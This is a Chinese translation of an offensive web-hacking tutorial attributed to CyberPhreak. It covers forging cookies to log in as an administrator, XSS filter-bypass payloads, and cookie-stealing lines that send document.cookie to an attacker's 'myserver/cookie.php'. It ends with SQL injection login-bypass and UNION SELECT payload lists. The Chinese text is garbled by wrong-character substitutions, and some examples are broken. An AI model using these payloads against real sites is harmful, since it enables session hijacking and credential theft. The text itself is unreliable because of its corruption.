XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
X Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
作者: CyberPhreak
翻译: 黯魂 [S.S.T]
~先容
在这篇文章中我将说明所有关于XSS以及更多相关的常识.通过这篇文档,我但愿能让你大白什么是XSS,为什么利用XSS,以及奈何利用XSS.一旦你学会了,你将需要发挥本身的缔造力,因为大大都人都修补了简朴的XSS裂痕.可是他们所健忘做的是修补比XSS的一个字符串更多的裂痕,而且php中非凡安详机制被用来防止XSS,而代替他们本身的要领.同时我将叙述的不只仅是XSS,而是所有的web安详.
XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
XXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
X XSS X
X SQL Injection X
XXXXXXXXXXXXXXXXXXXX
~什么是cookie
cookie就是一块数据.一旦你欣赏一个站点而且注册一个帐号,一个cookie就被配置以记录你的信息.cookie仅仅生存你登录的信息以使站点检测以前你是否登录过,假如不是,它就会检测你的用户名和暗码的正确性,然后登录.好比说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进收支出而不消每次都买票.而cookies比你所能看到的要巨大得多.夜总会只能记着你一晚上,可是cookies却能记着你一辈子.
~告诫&欺骗
那么此刻你知道了cookie是什么...你如何对待它们?事实上,cookie编辑(修改)是最简朴的要领之一.只要有一个欣赏器,你就可以或许查察和编辑cookies,而且只需要一些基本的javascript常识.打开你的欣赏器然后随便去一个网站吧,登录...此刻输入javascript:alert(document.cookie).这时你应该可以瞥见一个用户名和暗码.然而大大都站点此刻都不利用cookies,而利用sessions.很遗憾,sessions不能被修改(处事端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你本身.此刻让我们开始欺骗...假设你看到了一个告诫框而且看到一些像这样的内容:
strusername=cnsst;strpassword=cnsst
此时假设你知道'bitch'是一个打点员,但是你不知道暗码. 由于懦弱的安详机制你不需要暗码:javascript:void(document.cookie="strusername=bitch")
此刻输入:javascript:alert(document.cookie).那险些很是靠近cookie修改了...
~什么是XSS
XSS,可能CSS,不管你更喜欢奈何称号它,XSS(CSS)都代表着跨站剧本.根基上意思就是你能以任何方法注入剧本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,暗码以及cookies.这都将被接头,所以接下来将会有许多例子,我们这篇文章应该可以或许帮你在XSS上发挥本身的缔造力.
~为什么利用XSS
很明明的问题,通过XSS你能在客户端和处事器端执行任何范例的剧本.然而XSS却不只仅范围于执行剧本上,还能截获输入.输入雷同:<input name="name" type="name">
你通过XSS截获输入,然后通过一个奥秘文件把截获到的信息发送向你的站点.而这一切毫不是XSS所能实现的全部浸染.XSS还能截获cookies.Cookies生存着有代价的信息,像用户名,暗码等等.
~让我们开始吧…
我假定你知道html和javascript,而php常识也有辅佐,但却不是须要的.让我们从这个php剧本开始.
XSS--跨站剧本
<html>
<body>
<form action="" method="GET">
<!-- 我利用的GET要领,因为当我们操作的时候更容易操练. -->
Script: <input name="name" type="name">
<input type="submit" value="submit">
</form>
</body>
</html>
<?php
$name = $_GET['name'];
echo("Hello $name");
?>
OK,我们应该都知道上面的代码有什么用...这是一个很是奇怪的剧本,没有一小我私家会在本身的站点上利用它(至少我没见过),可是它对初学者领略道理却真的很有用.来看看我输入后所获得的信息:
cnsst
"Hello cnsst!"
引号内的信息就是输出信息..留意看,此刻我输入:
<script>alert(document.cookie)</script>
那么它将会弹出document.cookie!所以它是易受XSS进攻的!
此刻我们已经对XSS有了一点相识,那让我们领略它.首先,剧本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和处事器端别离有什么语言? 让我汇报你,根基上客户端语言是成立在你客户端欣赏器之上的:JavaScript,html, VBScript等等...
处事器端语言在另一边,不是成立在你客户端之上的,而成立在处事器之上,有php,asp等等...
已有一些要领注入php,稍后我将说明.此刻先想想这奈何才气对我们有辅佐?注入javascript?简朴.好比说你正在编写一个网站措施,由于是你的站点,所以你能利用所有你想利用的javascript(JS).因此其他任何人也可以,因为XSS答允你让网站运行你想要运行的任何剧本.
让我们看一个稍微巨大点的例子!
假设你已经输入了<script>alert(document.cookie)</script>,而且回显是这样的:
scriptalert(document.cookie)/script
可能大概是这样的:
scriptalertdocument.cookie/script
可以看出更难操作了...不外有许多要领利用XSS,这只是个中一种.并且是个中最烂的要领之一.你看到傍边的"<>"都被空字符" "替换了.
让我们继承操作:
<<script>>alert(document.cookie)<</script>>
你的输出将弹出document.cookie.
此刻来看看更狠的:
<<script>>alert((document.cookie))<<//script>>
他们大概会替换所有的,可能只是"<>".所以假如一对不能得以执行,另一对就可以.此刻,假如你看到:
scriptalertdocument.cookie/script
可能 <<<script>>>alert(document.cookie)<<</script>>>
他们大概替换2对来欺骗你,可能替换一些字母.试着用你本身的要领来操作...你输入:
<script>alert(document.cookie)</script>
输出像这样:srplert(document.cookie)srp
仔细调查,你就会发明document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是揣摩,就只阻止了"<>"以及script部门.怎么绕过?看看这个:
<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>
所有反复多余的部门恰好被替换!此刻让我们来点更高级的!
这次他们利用的仍然是替换,可是却查抄了整个字符串!譬喻:
<script>alert(document.cookie)</script>
输出将是:
scriptalert(document.cookie)script
看到这,你感动地说,"我知道该怎么做了!" OK,让我们凭据你的要领来从头结构:
<<script>>alert(document.cookie)<</script>>
输出:scriptalert(document.cookie)script. 这时你大概会继承增加更多的<>.但是,他们替换了任何"<>",无论你输入几多个...看到我说"任何"了吗?利用下面这个例子:
<
script
>
alert
(
document
.
cookie
)
<
/
script
>
看看它,它没有替换"<>",它替换代码要害字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.如果对方利用更严格的尺度,替换任何范例的代码,甚至是"alert"! 我们又该怎么改造呢?看看这个:
<
c
r
i
t
>
a
l
e
r
t
(
d
o
c
u
m
e
t
.
c
o
o
k
i
e
)
<
/
c
r
i
t
/
>
这下应该可以了,可是假如他们仍然替换"<",你可以增加2对"<< >>"(而且你可以用任何字符代替document.cookie)
尚有更多我可以演示的替换,可是我教你的只是想让你发挥本身的缔造力.
此刻让我来讲讲其他XSS要领.前面我们已经接头了客户端XSS,那么此刻就来看看处事器端XSS.
首先让我说明它们之间的区别.客户端是从你欣赏器经表明语言,如JavaScript (JS) VBScript (VBS)等而看到的.处事器端XSS是通过来自处事器端的语言,如php,asp等的XSS.客户端通过欣赏器查察,处事器端通过处事器查察.
我们已经学会了奈何结构客户端XSS,而结构处事器端我们必需注入剧本随处事器上.要完成这个,我们需要找到一个像任何XSS的剧本,可是这个剧本可以或许生存你的XSS随处事器中.此刻,假设你在一个网站上颁发了一篇文章,此刻要做的是代替文章,用XSS,为什么我们应该用JavaScript?为什么不消php?可是先让我给你看点对象.
document.forms(0).action ="http://myserver/myscript.php
这既能在处事器端也能在客户端,没有干系.因此你的剧本将复制他们所输入的信息到谁人表单中,并生存在我们站点上的一个*.txt文件中.
再次假设你在网站上注册了一个帐号,而且可以自界说资料...
document.images(0).src="http://myserver/cookie.php"+document.cookie.
可能假如你有空间可以存放指向自界说内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
这将截获会见我们资料的用户的cookie.这可以用于任那里所而不只仅在资料上,它只是一个例子.
有时一个站点会回显你的UserAgent和Referer...此刻让我们在DOS提示符下可能呼吁行窗口中试一试一些XSS,
telnet example.com
GET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
User-Agent: <script>alert(document.cookie)</script>
Referer: <script>alert(document.cookie)</script>
~什么是SQL注入
SQL注入,网站中最大的安详问题之一.那么到底什么是SQL注入?其实也就是注入SQL.此刻让我们来挖掘差异级此外SQL裂痕.假设你有一个像这样的登录页面:
<html>
<body>
<form action="" method="POST">
Username: <input name="name" type="name">
Password: <input name="password" type="password">
<input type="submit" type="submit" value="Submit">
</form>
</body>
</html>
这内里有一个XSS裂痕,可是不消担忧它,没有步伐猜出可能破解出暗码.所以,我们该怎么办?SQL注入!
最简朴的进攻是在用户名和暗码哪里输入"'".假如没有掩护机制,此时你应该获得一个错误信息.假如你获得了,它就是极易受进攻的.但是错误信息毫无代价,除非你知道如何操作它.所以,我会给你一个你可以利用的注入列表,以便在你获得一个单引号的错误信息时利用.
'='
'OR 1=1--
'OR a=a--
'OR'
自从人们加强安详性今后,此刻这些注入就很难发挥浸染了,可是下面这个列表却是许多人在安详列内外没有留意到的:
'OR''='
'OR"="
'OR'="
'OR '="
'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="
~
此刻让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users
这个查询语句将执行,可是….假如毫无浸染呢?
UNION ALL SELECT username,password FROM users WHERE username='OR "='
AND password='OR "='
你大概利用其他字符来替代'OR "='以注入存在的注入点.但是首先思量一下,你是怎么知道表名的?实际上,你发明白一个SQL裂痕,它给了你错误信息,而错误信息包括了表名.
一旦你发明白裂痕,你就会凭据习惯去用雷同'OR "='的要领去举办注入,以获得表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个内外.下面的例子中存在20个差异表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
WHERE ip='OR''="
此刻你看到这个了吗?(我确信你已经看到了)
?article=34
那将欣赏Id为34的文章...让我们用"'"替换34:
?article='
此刻,记着我所说的,大大都人都没有意识到'所带来的不安详性,你老是可以或许实验差异的注入要领,这里是一些例子:
?article='
?article='='
?article='OR 1=1--
?article='OR a=a--
?article='OR '="
?article='OR "='
?article='OR ''='
?article='OR '=''
?article='OR''='
?article='OR"'='
?article='OR"''='
恣意发挥本身的缔造力!
您大概感乐趣的文章: